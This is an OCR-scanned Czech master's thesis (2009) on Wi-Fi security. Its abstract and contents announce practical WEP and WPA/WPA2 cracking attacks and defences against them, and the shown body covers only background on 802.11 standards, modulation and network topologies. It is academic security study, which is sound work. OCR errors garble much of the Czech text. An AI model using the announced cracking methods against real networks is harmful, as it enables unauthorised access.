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ABSTRAKT

Diplomova prace se zaméruje na zabezpeceni bezdratovych siti a je rozdélena do dvou ¢asti.
Prvni Cast obsahuje pfriblizeni jednotlivych, dnes pouZivanych standard( a jejich doplika,
topologii a metod zabezpeceni. Popsany jsou metody skryvani SSID, filtrovani MAC adres,
WEP, WPA a WPA2. Posledni tfi metody jsou probrany podrobné. V druhé casti jsou
realizovany utoky na popsané metody zabezpeceni. Jsou zde popsany utoky na WEP jako
KoreK chopchop utok, fragmentacni utok, utok FMS, KoreK a PTW utok. Nasledné je popsan
slovnikovy Utok na ziskani passphrase u WPA/WPA2 s PSK autentizaci, pfedvypocitani hash
tabulky pro rychlejsi nalezeni passphrase avyuZiti vice jadrovych procesorld béhem
prohledavani slovniku. Posledni Utok popisuje zjisténi keystream pouZitého pro Sifrovani
rdmcl u WPA-TKIP a ndsledné vyslani vlastnich dat klientovi. U kazdého Utoku je popsano jak
jej provést i jak se jednotlivym Uutokim da branit.

KLiICOVA SLOVA

IEEE 802.11, Wi-Fi, WEP, IEEE 802.1X, WPA, 802.11i/WPA2, TKIP, CCMP, AES, ARP injekce,
fragmentacni utok, KoreK chopchop, FMS, KoreK, PTW, slovnikovy atok.

ABSTRACT

Master thesis focuses on wireless network security. The thesis is divided in two parts. First
part describes today’s used standards and their components, topology and security methods
as stealth SSID, MAC addresses filtration, WEP, WPA and WPAZ2. The last three methods are
described in detail. In second part there are realized attacks on above described methods of
security. There are described attacks on WEP as KoreK chopchop attack, fragment attack,
attack FMS, KoreK and attack PTW. Then is described the dictionary attack on passphrase by
WPA/WPA2 with PreShared Key authentication obtaining, precomputed hash tables for
faster passphrase finding and for using more core procesors during dictionary browsing. The
last attack describes obtaining of keystream used for encrypting of frames by WPA-TKIP and
then sending custom data to client. It is described how to carry out each attack and how to
protect against them.

KEY WORDS

IEEE 802.11, Wi-Fi, WEP, IEEE 802.1X, WPA, 802.11i/WPA2, TKIP, CCMP, AES, ARP injection,
fragment attack, KoreK chopchop, FMS, KoreK, PTW, dictionary attack.



Zabezpeceni bezdrdatovych siti, 2009

Bibliograficka citace mé prace:

SEDLAK, B.Zabezpeceni bezdrdtovych siti. Brno: Vysoké uceni technické v Brné, Fakulta
elektrotechniky a komunikacnich technologii, 2009. 85 s. Vedouci diplomové prace Ing. Petra
Lambertova.



Zabezpeceni bezdrdtovych siti, 2009

PROHLASENI

Prohlasuji, Ze svoji diplomovou praci na téma "Zabezpecleni bezdratovych siti" jsem
vypracoval samostatné pod vedenim vedouciho semestrdlniho projektu a s pouzitim
odborné literatury a dalSich informacnich zdroju, které jsou vSechny citovany v praci a
uvedeny v seznamu literatury na konci prace.

Jako autor uvedené diplomové prace dale prohlasuji, Ze v souvislosti s vytvorenim této prace
jsem neporusil autorska prava tretich osob, zejména jsem nezasahl nedovolenym zplsobem
do cizich autorskych prav osobnostnich a jsem si pIné védom nasledku poruseni ustanoveni §

11 a nasledujicich autorského zakona ¢. 121/2000 Sbh., véetné mozinych trestnépravnich
disledkd vyplyvajicich z ustanoveni §152 trestniho zakona ¢. 140/1961 Sb.“

VBrné dne 26.5.2009 e

(podpis autora)



Zabezpeceni bezdrdatovych siti, 2009

PODEKOVANI

Dékuji vedouci diplomové prace Ing. Petfe Lambertové za velmi uZiteCcnou metodickou
pomoc a cenné rady pfi zpracovani diplomové prace. Dale také viem autorim pouzitych
publikaci a tvlrclm pouZitych programu.

VBrnédne 26.5.2009 s

(podpis autora)



Zabezpeceni bezdrdatovych siti, 2009

OBSAH
UVOD ..ttt ettt ettt et et ettt e e e e e e e e e e e e e e e e eeaeeeaeaaaaaasasasasasasasasasasasasasasasssnssssanns sererererenenaaasaeaes 13
1 JEEE BO2. 10 ..ceiiiiiiiiiiiiiiiieieieieieeeeeee et eeee et e et e et et et e e e e e e e e e eeeeeaeaeaaaeaeaeaeaeaasasasasasasasasasasssssssssssnsnssannnnnnsnens 14
1.1 Standardy a dopliky IEEE 802.11 ........oeieiciiieieiieeecciiee e et e tre e e esvre e e sarae e s sare e e esnaaeeesnnaee s 14
1.1.1 [EEE 802.118 (1999)...cuuiiueeuteieeuieie sttt st eit et st et et bt et e besbeeste b sae et e sbeeaeebesbeeaeenten 14
1.1.2 [EEE 802.11D (1999)....utitieiieieieeieeie sttt st ettt sttt sttt et sbe sttt sbe et st s be et e sbesbe et 15
1.1.3 [EEE 802.118 (2003)..ccuveeueeueeruerueeiesiesiteiesteeitentesteeueessesbeeutesbesbeessesbesueensesbesueenseseesneensens 16
1.1.4 TEEE 802.11N .ttt ettt ettt sttt st b e s ae et bbb b bt e b b e a e et be et e nbesbeeatens 16
1.2 Topologie siti standardu 802.11......ccccuiiieiiiiie et e e e re e e e bre e e e e e e e e arae e e e aaes 16
1.2.1 IBSS (Independent Basic Service Set) neboli Ad-hoc.........ccccovvviiiiiiiiiiiicee e, 16
1.2.2 ReZim infrastruktury (BSS/ESS).....uiiiiiiiiieiiieetie ettt et ettt et e eetre e e be e eavee e 17
1.2.3 TOPOIOZIE IMESH ...t e e etre e e e rbae e e e ate e e e s abeee e enneeas 18
1.3 Linkova vrstva @ MAC POAVISTVA ....ueiiieiiieeiiiee e ciee ettt e et e e e etee e e e nte e e e eare e s entae e e eanes 19
2 ZABEZPECENT WLAN ..ottt 19
2.1 SKEYLT VYSTIANT SSID ...ttt e e e e e et e e e et e e e eata e e e sabaeeeessaeesansaeeesnsneeann 19
2.2 FIErOVANT IMAC 0TS ..ttt ettt st e b e e b e b e nnees 20
2.3 WEP (Wired EQUIVAlENT PrIVACY)...ciiiiiiie ettt e tvee e e aae e e enae e e e aaaee s 20
231 AUTENTIZACE ...ciiiiiiiiiiiii e 21
2.3.2 FOrMAt WEP FAMICE...cutiiiieiieiiie ittt ettt ettt nnees 22
233 Proudovd SIfra RCA .......eoieeeeiee ettt ettt 23
234 INICIAliZACNT VEKEOT TV .. 23
235 SHTOVANT v 23
236 DESITIOVANI. c.ee ettt st s sttt es 24
2.3.7 Zabezpeleni integrity dat ICV . ......uvv e e e 24
2.3.8 MWV EPPIUS ettt et e e et e e e et e e e e bae e e e abt e e e e abaeesearaeeearteeeeanraeas 24
2.4 IEEE 802.1X / EAP ettt ettt bbb st b e bbbt s he et bt 25

241 EAP - Extensible Authentication ProtOCOl ..........ueeeeeueuiiiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeerereeeeeeeeeeees 25



Zabezpeceni bezdrdtovych siti, 2009

2.4.2 Autentizalni MEtody EAP .......oooiieee et e e e e 27
2D N P A ettt ettt b e bt bt e bt e bt e bt e sbeesreenhee s tereens 28
2.5.1 INTEEIItA At MIC ..o e e e e s ta e e e eare e e e s bee e e enres 29
2.5.2 Temporal Key Intergrity Protocol (TKIP)......ccuieiiciiiee ettt eevree e 29
253 PFedsdilené KIEE PSK.....c..coiiiiiiiieii ettt 30
2.6 802.11i / WPA 2.ttt ettt ettt ettt h et b e bbbt e he et st aeentes 31
2.6.1 Hierarchie KIi¢l a jejich distribUCE........ccviiiiieciee et e e 31
2.6.2 AES (Advanced Encryption Standard).........cceeeeeiieeiccieic e 34
2.6.3 COMP ettt e b e bt e b e s bt e s h e e s et e s ae e st ea et et et e et e e b e e b e reenes 34

3 PRIPRAVA PRO ANALYZU A UTOK NA BEZDRATOVE SITE .....cvuevuririerierierierieiierierienienieniensensensenen. 36
31 POUZITE ZATTZENI.c.ueieeiieieee ettt st st st st et beennees 36
3.11 Notebok MSI PR200X Crystal Collection ..........ccocciueeiiciiie et 36
3.1.2 Intel Wireless WiFi Link 4965AGN .....cc.coviiiiiiiiiiiiieee et 36
3.1.3 Atheros Wireless Network Adapter ........oocveeeiiieie e e 36
3.14 DrayTek VIgEr2700 SEIIES.....uuuiiiicireeeeiieeeeeiieeeeeteeeeeittee e e ette e s ssbaeessntaeessasaeesenntaeeennnens 37
3.2 POUZITY SOTEWAIE ... uiiii it e e e e et e e e e bte e e e ata e e e eate e e esabaeeesnnteeeeenneeas 37
3.2.1 POUZITE ULITTY.uveeeeiiiiee ettt e e et e e e ste e e e e ate e e e saatee e eenbaeeeennneas 37
33 &Y o o] =] o | USSR 38
34 MONIEOTOVACT FEZIM ..ttt et ettt s e e an e s bt e b e b e b e enees 38
3.4.1 Zprovoznéni monitorovacino reZIMU ........ccueiiiiiiie i et 39
35 FaleSNa QULENTIZACE ..couueeieetieriie ettt st sttt et s b e e bbb nreas 39
35.1 Realizace faleSné autentizace........coceeiieiieiieie e 40

4 ZISKANT SKRYTEHO SSID ...oueuiuuiiniinieiieisisiesiessessessesse s ssessessessesse s ssessessessessessessessessessessessessesees 40
A1 ZJIBEENT SSID oo e e e et et ee et et e et e et et e et et et ee ettt eneeaer e eeaereeeeeens 40
411 Realizace deautentizaCe ........ccviveiiiiieiie e e 41
4.2 Ochrana Proti ZjiISTENT SSID ...eiccuiiie ettt e et e e tre e e e tte e e e stbeeessasaeeeensaeeeenareeens 41

5 FILTROVANI IMAC ADRES ... ettt ettt et e e e et et et eeeeaeeeee e e et eeeeeeeaeeeee et et eeeeaeeseeseeeaeens 41



5.1

5.1.1

5.2

6.1

6.1.1

6.1.2

6.1.3

6.2

6.2.1

6.2.2

6.3

6.3.1

6.3.2

6.4

6.4.1

6.4.2

6.5

6.5.1

6.6

6.6.1

6.6.2

6.6.3

6.6.4

6.7

6.8

6.8.1

Zabezpeceni bezdrdtovych siti, 2009

Zjisténi a odcizeni legitimni MAC @dreSy.......cccccuveeeeiiieeiiiiieeeciee e csree e esee e e eree e e sbae e e e eaaaeas 42
ZMENA MAC QUIESY .oeeiieeeciiiee ettt ettt e et e e e et e e e st e e e e st e e e eabeeeeessaesessteeeensseneeennsens 42
Ochrana proti 0dcizeni MAC @drESY ......ccccueeeeeiieeeceiieeeecteeeeecrre e esree e s serre e e s sareee e aaeeeenaraees 43
............................................................................................................................................... 43
Brute-force attack neboli Gtok hrubou Silou..........cocieiiniiiiiee 43
SIOVNTKOVY ULOK ..vviiiiiiie ittt e et e e e saer e e e s aae e e e snabeeeeennaeeean 44
ULOK Na BENEIATON KIIE . ..vvieiecececieeceeece ettt s et 44
Ochrana proti Utoku hrubou SiloU........coocciiiiiiiec e 44
Ziskani keystream z Shared-key autentizace........cccocvveeeeiiieeiiiieee e 45
ZneuZiti ziskaného KEYStrEamMU ........cccuiiiiiiiiie ettt e e earee e e 45
Ochrana proti ziskdni KeYStreamu........cooecuiiee i 45
INJEKCE FAMICU ..ttt e et e e et e e s te e ebe e e etbeesabeeeabeeenbaeesnbeesareean 46
ARP INJEKCE .t e e et ae e e e e e e e e rte e e e eanreas 46
Ochrana VUG INJEKCE cuvvieuee ettt ettt et e eta e s are e ebeeeaae s 48
Fragmentacni UtOK ....coccuveei oot s e e e e e e e rate e e e e ate e e eeabaee e enreas 48
Realizace fragmentacniho UtOKU........cccuiiiiiiiiiicciee e 49
Ochrana vUci fragmentadnimu UtoKU..........occcueiiiiieiiiie et 50
Arbaugh iNAUKENT ULOK ..veeiieiiieeciiie ettt e e e e e rae e e e abee e e enaeas 50
Ochrana proti iNdukEnimu ULOKU ........eeeieiiiiieieiiiec e e 52
KOreK chopChop UtOK ......ccooiiiiiiiiee ettt e et e et e e e bre e e 52
Princip KoreK chopChop UtOKU ........ccoociiiiiiieee e 52
Realizace Utoku KoreK chopchop s autentizaci @ asociaci........ccccccveeeeecieeeeecieeeccciieeeens 54
Realizace Utoku KoreK chopchop bez autentizace a asociace ........cccoecveeeeciveeecciieeens 56
Ochrana vici KoreK chopchop UtOKU ......ccuviiieciiiiccciiee et 58
VYEVOFENT FTAMICE ..ttt ettt e e e et e e e ba e e e e ab e e e e e tbaeeeeaabee e e sseeeeenbaeaeantesesansenas 58
FIMIS UOK. 1 tieeeiee ettt ettt et e e st e et e et e e sate e e bt e ebeeessaeessteeenbeeessteesnbeeensaeenneees 59

SIADG IV .. e 59



Zabezpeceni bezdrdtovych siti, 2009

6.8.2 IMplementace FIMIS ULOKU ......cooiiuiiiiiieie ettt e e e et e e 60
6.8.3 Ochrana Proti FIMS ULOKU .....cccccuiiiiiciiiee ettt e et e e e aanee s 60

6.9 KOFEK ettt a e 61
6.9.1 Realizace KOreK ULOKUM ......co.eiiiiiiieieeeeee ettt s 61
6.9.2 Ochrana vUCi KOreK ULOKUM .....c..oiiiiiiiiieieeeeeteete ettt 63
B.10  PTW ULOK 1ttt ettt bt b e bbbt bt et e st eat et e sbeebt et e s bt satenbesbeenean 63
6.10.1  Realizace PTW ULOKU ......eeuieiieieeieeieerieese ettt s e s e 63
6.10.2  Ochrana Proti PTW UtOKU.......c.ueeiiiiiiii ittt ettt e e eetre e e s ate e e e sbaee e esaaaaeeenns 65

T WPA/WPA 2.ttt ettt b e bt et b e bbbt h et b e bt e besheehe et e e bt et e besbe et tenne 65
7.1 Utok na Pre-Shared Key (PSK) U WPA/WPAZ ........ccoiieieeeeeieeeeeeeeeeete et ses s 66
7.1.1 Realizace UtoKU N PSK......couiiiiiiiiiieeeee et 66
7.1.2 Predvypocitani PMK ze zvoleného SIoVNiKU .........c..eeeeeiiieiiiiicecieee e 67
7.1.3 Zrychleny slovniKOVY UtOK .......coccuiiiiiiiic et 68
7.1.4 Ochrana vici slovnikovému Gtoku Na PSK .......c.ooieriiiineeiirinteerertee e 69

7.2 UEOK N3 WPA-TKIP ...oovriririricieicieiei et 70
7.2.1 Realizace Utoku Na WPA-TKIP .....c.ooiiiiieiieiierieeree et s 70
7.2.2 Ochrana proti UtoKU NA TKIP .......viiiieee ettt e et ee e e sanaee s 71
ZAVER ..o et 72
CITOVANA LITERATURA. .....coutiretrtiettisete ettt 74
SEZNAM ZKRATEK . ...ttt e e e s ettt e e e s e s e et e e e e s e meb e et e e e e e e sannrsneeeesssannnrene oan 77
SEZNAM PRILOH: 1.ttt s 80
A Zachyceny 4-way handshake v prostredi Wireshark..........cccceeecveeieeciieiccciee e, 81

B Slovniky pro Utok Na PSK WPA/WPAZ .........ooeieeeeee ettt et ettt e eae e aeeeeteeeeaveesveeeneeens 83

C Obsah pfilozenych souborli NAa DVD .......coocuiiiieiiiee e et e e e e 84



Zabezpeceni bezdrdtovych siti, 2009

SEZNAM OBRAZKU

Obr. 1.1: RozlozZeni kanal{l DSSS v kmitoCtovém pasmu ISM ........cccveiieiiiiieciieeeceee e 15
(0] oo W73 KoY o Jo] LoT={ =R aV] o U - Lo K o T Yol SRR 17
(0 o R T T )OSR 18
(0] oY g Y S oY o Yo FoY =TI 1Y oY o USSR 18
Obr. 2.1: Princip autentizace sdilenym KIHCem .........ouviiiii i 22
Obr: 2.2: FOrmat WEP IMPDU [5]....uiiiiiiiiiieiiiiie e sciieeessitee s st ee s sttt e e ssbee e e senteeessnaeeessnseeessnnseeessssneesnnns 22
Obr: 2.3: SIfroVANT ProtOKOIEM WEP ........veiieeeeceee ettt ettt ee st nee st eae e s snena 24
Obr. 2.4: DeSifrovani protoKoIEM WEP ........ooo ittt ettt e e e e e eabra e e e e e e e e neraees 24
ODr. 2.5: RIZENY @ NEFIZENY PO ..eiiveeiiieeeeeeeeeeeeee et et et e et s et s e s e et et seese s essesaeseesssseeesesessssaesanenana 26
Obr. 2.6: Autentizace POdIe 802.1X .......uuiiiiiie et e e et e e e e e e ettt e e e e e e e s tbare e e e e e eeenntaaeeeeeeennnraaees 26
(0] T g Ay VA7 Yo Tod <1 o 1Y/ | [P 29
Obr. 2.8: Sifrovani Mechanismem TKIP ..........ccccceueiiieeceeteee ettt es s s e ae e es s s senas 30
ODbr. 2.9: HIErarchi® PTK ... . oottt ettt ettt e be e e st e sbe e e sae e e snseesareesnenesanes 31
Obr. 2.10: 4- WAy HaNAShaKe .....ccocuiieiiiiiee ettt ettt e st e e e sbae e e s saba e e e sataeeesseeeesnes 32
Obr. 2.11: Group Key HandShaKe .........cccuuiiiiiiiiiiciiie ettt st e e st e e s sva e s ssata e e s snraeeeenns 33
Obr. 2.12: Sifrovani mechanismem CCMP @ rdmec 802.10i ......ceveveveceererereeeeeeseeeeeeeeae s 35
Obr. 3.1: Zapojeni pri teSTOVANT ULOKU ....c.eeecuiieeieieiiiecie ettt ettt rtee e aae e sbe e s raeebaeesareeeabaeenees 38
Obr. 6.1: Ziskani keystream z Sahred-key auteNntizace.......cccocviiiiiciiiiiiiiie e 45
Obr. 6.2: Pfiklad fragmentacniho Gtoku se 3 fragmenty.....ccceeeivciieiicciiec e 49
Obr. 6.3: Induktivni krok v indUKEnim GEOKU ........cooiiiiriiiiiieieieeeec ettt 51
Obr. 6.4: Ziskani n + 1 bytu keystream RC4 pfi indukénim UtoKU .......cccvvveeeieiiiiiiiieeec e, 51
Obr. 6.5: RAmec 1 pro Utok KoreK chOPChOP ....uiii it e e 52
Obr. 6.7: KOoreK chopChop S OVEIFENIM ....viiiiiiiiiee ettt sttt e e st e e s ste e e e svae e e s sbeeeessnbaeeesans 54
Obr. 6.8: KoreK chopchop na zakladé deautentizace ........coovcuveeeiiiiiei i 54
ObBr. 6.9 ULIlIta AIFSNOIt ..o ittt ettt ettt e sbe e st e e bt e e ab e e s be e s bt e e sabeesabeesabeessbeesanes 60

Obr. 6.10: Hlavicka ARP request / response PAKEU ........ccveiieiiiiieiiieie et ettt este et sreeeare v e 63



Zabezpeceni bezdrdtovych siti, 2009

Obr. 7.1: Zobrazeni vytizenosti procesoru pomoci Utility tOP......ccccvveeeeciiieiiiiiee e 69
SEZNAM TABULEK

Tab. 1: Pfehled nejvyznamnéjsich standardl IEEE 802.11.......ccceviieiiieeeeiiee ettt 14
Tab. 6.1: Srovnani poctu testovanych kli¢t a pouZitych IV pro KoreK utok pro 40-bitovy klic............. 62
Tab. 6.2: Srovnani poctu testovanych kli¢t a pouZitych IV pro KoreK utok pro 104-bitovy klic........... 62
Tab: 6.3: Vysledky PTW Gtoku na tfi 40-bitové WEP KIICE ....ceeeeeeeciieeee e, 65

Tab: 6.4: Vysledky PTW Gtoku na tfi 104-bitové WEP KIICE ...ccceeeeiiiieeee ettt 65



Zabezpeceni bezdrdtovych siti, 2009

UvoD

Bezdratové sité tvori nedilnou soucast Zivota kazdého z nas. Mezi bezesporu nejpouzivanéjsi
bezdratové sité na svété patfi bezdratové sité zaloZzené na standardu 802.11 vytvoreného
standardizacnim institutem |EEE (Institute of Electrical and Electronics Engineers). Vyhody
vychazejici z tohoto standardu, jakymi jsou snadna vystavba, poskytnuti mobility uZivateli,
dobré prenosové vlastnosti a také prenosové rychlosti, si nasli uplatnéni jak v domacnostech
tak i v malych a velkych firmach.

JelikoZ v poslednich letech velmi stoupla popularita tohoto typu pfipojeni k pocitacové siti,
vzrostlo i nebezpedi utok( na takto vytvorenou sit. Bezdratové sité vyuZivaji k pfenosu dat
volné prostredi, coZ s sebou pfinasi bezpecnostni rizika. MoZnost zneuZzit vysilanych dat tak
ma kazdy. Pravé z tohoto divodu byly vytvofeny standardy zabyvajici se otdzkou bezpecnosti
v bezdratovych sitich.

V prvni casti diplomové prace je standard 802.11 popsan obecné. Zminény jsou dnes
nejpouzivanéjsi standardy a pristupové metody, které umoznuji jejich fungovani. Dale se
prace vénuje zabezpeceni bezdratovych siti standardu 802.11. MozZnosti vyuZiti zabezpeceni
pomoci skrytého vysilani SSID a filtrovani MAC adres. Podrobnéji je pak popsana metoda
zabezpeceni WEP, ndsledné standard 802.1X a bezpecénostni standard 802.11i. V rdmci WEP,
WPA a WPA 2 jsou probrany metody Sifrovani prenasenych dat, zajisténi integrity dat a
metody autentizace.

V druhé casti jsou prakticky provedeny utoky na jednotlivé typy zabezpeceni. Byl proveden
utok na zjisténi skrytého SSID, prekonani Sifrovani MAC adres. V ramci WEP pak nasledné
pasivni a aktivni utoky, zaloZzené na rGznych metodach odvijejicich se od podrobného
zkoumani WEP slouZici k ziskani ptistupového hesla a keystream pro injekci vlastnich dat. Co
se ty¢e WPA/WPA2 byl realizovan utok na ziskani passphrase a nasledné ziskani keystream
pfi zabezpeceni WPA-TKIP. Ke kazdému utoky byly také navrzeny mozné metody, jak tomuto
utoku zabranit ¢i ztiZit jeho provedeni.

Cilem diplomové prace bylo popsat obecné standard bezdratovych siti 802.11, srovnani
riznych metod zabezpecleni prendsenych dat a jejich podrobny popis. Ddle realizovat
v dnesni dobé mozné utoky na jednotlivé metody zabezpeceni a ve vysledku by mélo byt
jasné, zda metody dnes pouzivané jsou dostacujici ¢i nikoliv.
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1 |IEEE 802.11

Roku 1990 byla zaloZzena pracovni skupina, jejimz vysledkem mél byt prvni standard pro
bezdratové lokalni sité. Po radé debat a diskuzi byla v éervenci 1997 prijata pavodni
specifikace 802.11, ktera byla vypracovana v ramci IEEE LAN / MAN Standards Committee
(IEEE  802). Standard wumoZnoval prenosové rychlosti 1Mbit/s a 2Mbit/s
v kmitoctovém pasmu ISM 2,4 GHz. JelikoZz se jedna o bezlicen¢ni pasmo, pracuji vném i
dalsi zafizeni jako mikrovinné trouby, bezdratové telefony ¢i zafizeni Bluetooth (pozdéji
samostatnd norma 802.15). Zkratka ISM z anglického Industry, Science and Medical oznacuje
oblast pouZiti tohoto kmitoctového pasma, tedy pro pramyslové, védecké a lékarské
potieby.

1.1 Standardy a dopliky IEEE 802.11

Po Case se prenosova rychlost stala nedostacujici stejné jako zabezpeceni prfenosu. Z tohoto
dlvodu k plvodnimu standardu vzniklo nékolik doplrikl, které slouZi jako doplnéni Ci
rozsifeni plvodniho. Pfehled nejzndméjsich i s jejich vlastnostmi je uveden v tabulce Tab. 1.
| vdnesni dobé dochazi k vytvareni dalsich a dalich dopliikd. Cislo uvedené v zavorce vedle
oznaceni doplnku (standardu) vyjadfuje rok, v kterém byl uvedeny do praxe. PUvodni
standard pouziva pro prenos informace na fyzické vrstvé metodu rozprostieného spektra
(blize literatura[1], [4]).

Tab. 1: Pfehled nejvyznamnéjsich standard(i IEEE 802.11

Frekvenéni | Maximalni
Standard Rok vydani pasmo rychlost |Fyzicka vrstva
[GHz] [Mbit/s]
plvodni IEEE 802.11 1997 2,4 2 FHSS/DSSS

IEEE 802.11a 1999 5 54 OFDM
IEEE 802.11b 1999 2,4 11 DSSS
IEEE 802.11g 2003 2,4 54 OFDM/DSSS
IEEE 802.11n 2009 2,4 nebo 5 300 MIMO
IEEE 802.11y 2008 3,7 54

1.1.1 IEEE 802.11a (1999)

Standard pracuje v pasmu 5 GHz. Dosahuje vyrazné vyssi prenosové rychlosti az 54 Mbit/s.
K dosazZeni této rychlosti je pouzit ortogonalni multiplex s kmito¢tovym délenim (Orthogonal
Frequency Division Multiplex, OFDM). Vyhoda oproti pivodnimu standardu neni jen ve vyssi
rychlosti. Dal$i vyhodou je pouzité kmitoctové pasmo 5 GHz, které je méné vytizené nez
pasmo 2,4 GHz, tim padem dovoluje vyuziti vice kanall bez vzajemného ruseni (IEEE 802.11a
nabizi az osm vzajemné nezavislych a neprekryvajicich se kanald).
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OFDM (Orthogonal Frequency Division Multiplex)
Systémy s ortogondlnim kmitoétovym multiplexem rozdéli pfenosové pasmo na velké

mnozstvi Uzkych kandll, data se v kazdém kanalu prenaseji relativné pomalu a signal je pak
mnohem robustnéjsi. Celkové je prenosovd rychlost dana souctem rychlosti ve vsech
kandlech. Velkou vyhodou principu je rozloZeni prenasené informace do rady subkandld
(kandll muaze byt nékolik stovek) coZ pfindsi vyrazné potlaceni vlivu interferenci
zpUsobenych vicecestnym Sifenim signdlu. Vicecestné Sifeni signalu je zplsobeno odrazem
od prekazek a vysledny signal je dan souctem vsech prijatych signald. [4]

1.1.2 IEEE 802.11b (1999)

Standard je jednim z doplikd norem IEEE 802.11 zabyvajicich se definici bezdratového
komunika¢niho standardu znamym pod komerénim nazvem WiFi. Poskytuje vyssi pfenosové
rychlosti v pasmu 2,4 GHz, a to az 11 Mbit/s. K dosaZeni rychlosti se pouziva tzv. doplrikové
kodové klicovani (Complementary Code Keying, CCK) s pouZitim DSSS (Direct Sequence
Spread Spectrum) na fyzické vrstvé. Doplnék specifikuje, Ze podle momentalniho ruseni
prostfedi dochazi k dynamické zméné rychlosti: 11 Mbit/s, 5,5 Mbit/s, 2 Mbit/s ¢i 1 Mbit/s.

DSSS (Direct Sequence Spread Spectrum)

Jednd se o techniku pfimého rozprostfeného spektra. Metoda spociva v reprezentaci
kazdého bitu sekvenci nékolika bitd (tzv. chipl). Tyto sekvence mivaji nejcastéji
pseudondhodny charakter. Skute¢né prenasena je pak pouze sekvence chip(.

Dostupné frekvencéni pasmo je rozdéleno na nékolik vzajemné se Castecné prekryvajicich
frekvencnich pasem (kanal 1 az N). DSSS rozdéli bezlicencniho pasma ISM na 14 kanald o
Sifce 22MHz (pouze tfi z nich se neprekryvaji vliibec, viz. Obr. 1.1), na rozdil od FHSS, které
pouziva 79 kanalu o Sifce 1 MHz. Toto rozdéleni je umoznéno posunutim stfednich kmitoctud
sousednich kanal(l o pouhych 5 MHz. Vyhodou je moZnost vybéru kanalu, ktery je nejméné
zarusen a také podstatné vyssich prenosovych rychlosti. Kazdd zemé vyuziva kmitoctové
pasmo ISM 2,4GHz riznym zpUsobem, proto také pocet vyuzitych kanall se v jednotlivych
zemich lisf (napt. Ceska republika pouziva kanaly 1 -13).

l 3 | | 8 | | 13 |
F—Tr—T—7F - F—T—T—T—= “——1—

|
| | 6 | | L |

1 1 1 Il
T T T T

1
Ll
12 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472 2477 Kmitocet [GHz]

s

|
1
24

Obr. 1.1: RozloZeni kanal( DSSS v kmito¢tovém pasmu ISM
FHSS (Frequncy Hopping Spread Spectrum)

Princip FHSS spociva v prenosu signalu na nékolika frekvencich. Tyto frekvence jsou ménény
podle pseudondhodné posloupnosti, kterd musi byt zndma jak vysilaci tak i pfijimaci strané a
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v obou zafizenich musi byt tato posloupnost synchronizovana. V FHSS je kanal reprezentovan
presnou specifikaci sledu frekvenci. Standard 802.11 implementuje 79 kanald (kazdy o Sifce
1MHz), ¢imz je pokryto celé frekvencni pasmo 2,4 — 2,483 GHz.

1.1.3 |IEEE 802.11g (2003)

Jednd se o obdobu IEEE 802.11a s tim rozdilem, Ze je specifikovan pro pasmo 2,4 — 2,485
GHz, stejné jako IEEE 802.11b. Pouzité modulacni schéma na fyzické vrstvé je OFDM pro
rychlosti 6, 9, 12, 18, 24, 36, 48 a 54 Mbit/s, pficemz pro rychlosti 1, 2, 5.5 a 11 Mbit/s je
pouZito stejné schéma jako ve standardu IEEE 802.11b. Vysilaci vykon je snizen oproti IEEE
802.11b z 200 mW na 65 mW.

1.1.4 IEEE 802.11n

Skupina IEEE 802.11n studuje rdzné moznosti nastaveni parametrd fyzické vrstvy a MAC
podvrstvy pro zvyseni datové propustnosti, aby se docililo readlnych rychlosti pres 100 Mbit/s.
Teoreticky rychlost mGze byt az 540 Mbit/s. Toho Ize dosahnout pouzitim MIMO (Multiple
Input Multiple Output) technologie, kterd vyuzivd vicero vysilacich a pfrijimacich antén,
zmény kdédovacich schémat a zmény MAC protokoll. Navic ma IEEE 802.11n zajistit vyssi
dosah se zachovanim co nejvétsi rychlosti a zvétsit odolnost proti ruseni.

1.2 Topologie siti standardu 802.11

U bezdratovych siti existuje vétsi volnost pfi navrhu a realizaci topologie oproti kabelovym
sitim.  WLAN je moiné realizovat nékolika zakladnimi zpUsoby. Prvnim zplsobem je
komunikace a propojeni jednotlivych stanic mezi sebou bez pouZiti pfistupového bodu
(IBSS). Druhym zpUsobem je vyuZiti pfistupového bodu pro komunikaci mezi stanicemi
(BSS/ESS). Dalsim zplUsobem je topologie typu MESH, kde kazda stanice predstavuje
soucasné klienta a pfistupovy bod pro okolni stanice.

1.2.1 IBSS (Independent Basic Service Set) neboli Ad-hoc

Sité realizované v rezimu Ad-hoc byvaji ¢asto nazyvany nezavislymi sitémi (z anglického
independent). Nezdvislé z toho dlvodu, Ze sit nema centralizované fizeni. Stanice jsou si
mezi sebou rovny (Peer-to-peer) a pfi komunikaci nevyuZivaji pristupovy bod AP. Kazda
stanice komunikuje s kazdou a ztoho plyne, Ze stanice musi byt ve vzajemném radiovém
dosahu (princip zobrazen na obrazku 1.2), coZ vede k ruseni ve spektru a horsi propustnosti.
Tento typ topologie je vhodny pro sité s malym poctem stanic vzdalenych od sebe nékolik
metr(. V ptipadé sité s velkym poctem stanic nebo sité v rozlehlejSich prostorach, kde nelze
zajistit vzajemny radiovy dosah, se tento typ topologie nedd pouzit. Typickym pouZitim
vybudovani sité tzv. ,narychlo” neboli jen na omezeny cas. Prikladem muze byt vyména dat
mezi pocitaci, konferencni spojeni v zasedaci mistnosti nebo LAN party. Sité ad-hoc se
nestaly pfili§ oblibenymi nejen z divodu pouZiti na ne pfilis§ rozlehlych prostorach, ale také
z dlivod(i potfebné spravné sitové konfigurace, coz ne kazdy uzivatel bezdratového zafizeni
zvladne. [2]
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=

Obr. 1.2: Topologie typu ad-hoc

1.2.2 ReZim infrastruktury (BSS/ESS)

Vinfrastrukturni siti je pfesné dan spojovaci prvek, ktery zajistuje vymezeni infrastruktury.
Spojovacim prvek je zde pfristupovy bod (AP, Access Point), pres ktery jde veskerd
komunikace. Tato ¢ast infrastruktury se oznacuje jako zakladni soubor sluzeb (BSS, Basic
Service Set). Pristupovy bod je schopen komunikovat s vice stanicemi soucasné. Pokud tedy
chce jedna bezdratova stanice komunikovat s jinou v rdmci BSS, musi data zaslat nejprve na
pristupovy bod a teprve z néj se preposSlou na druhou stanici. Jestlize stanice chtéji byt
soucasti infrastrukturdlni sité, musi umét komunikovat s pfistupovym bodem a byt v
jeho dosahu. Hlavni vyhodou proti ad-hoc komunikaci je udrzeni pouze jednoho spojeni a to
s AP na rozdil od ad-hoc komunikace, kde stanice musi udrzovat spojeni se vSemi sousednimi
